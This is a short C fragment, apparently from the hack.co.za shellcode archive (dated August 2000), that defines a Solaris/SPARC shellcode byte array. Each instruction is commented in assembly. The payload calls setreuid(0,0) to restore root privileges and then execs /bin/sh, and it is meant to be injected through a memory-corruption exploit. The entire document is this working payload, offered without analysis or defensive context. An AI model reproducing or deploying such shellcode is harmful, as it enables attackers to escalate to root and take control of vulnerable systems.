/* * Solaris/SPARC * * setreuid(0, 0); (necessary, /bin/sh drops privs), standard execve(). */ char c0de[] = /* anathema */ /* setreuid() */ "\x82\x10\x20\xca" /* mov 0xca, %g1 */ "\x92\x1a\x40\x09" /* xor %o1, %o1, %o1 */ "\x90\x0a\x40\x09" /* and %o1, %o1, %o0 */ "\x91\xd0\x20\x08" /* ta 8 */ /* execve() */ "\x2d\x0b\xd8\x9a" /* sethi $0xbd89a, %l6 */ "\xac\x15\xa1\x6e" /* or %l6, 0x16e, %l6 */ "\x2f\x0b\xdc\xda" /* sethi $0xbdcda, %l7 */ "\x90\x0b\x80\x0e" /* and %sp, %sp, %o0 */ "\x92\x03\xa0\x08" /* add %sp, 8, %o1 */ "\x94\x1a\x80\x0a" /* xor %o2, %o2, %o2 */ "\x9c\x03\xa0\x10" /* add %sp, 0x10, %sp */ "\xec\x3b\xbf\xf0" /* std %l6, [%sp - 0x10] */ "\xdc\x23\xbf\xf8" /* st %sp, [%sp - 0x08] */ "\xc0\x23\xbf\xfc" /* st %g0, [%sp - 0x04] */ "\x82\x10\x20\x3b" /* mov $0x3b, %g1 */ "\x91\xd0\x20\x08"; /* ta 8 */ /* EOF */ /* www.hack.co.za [11 August 2000]*/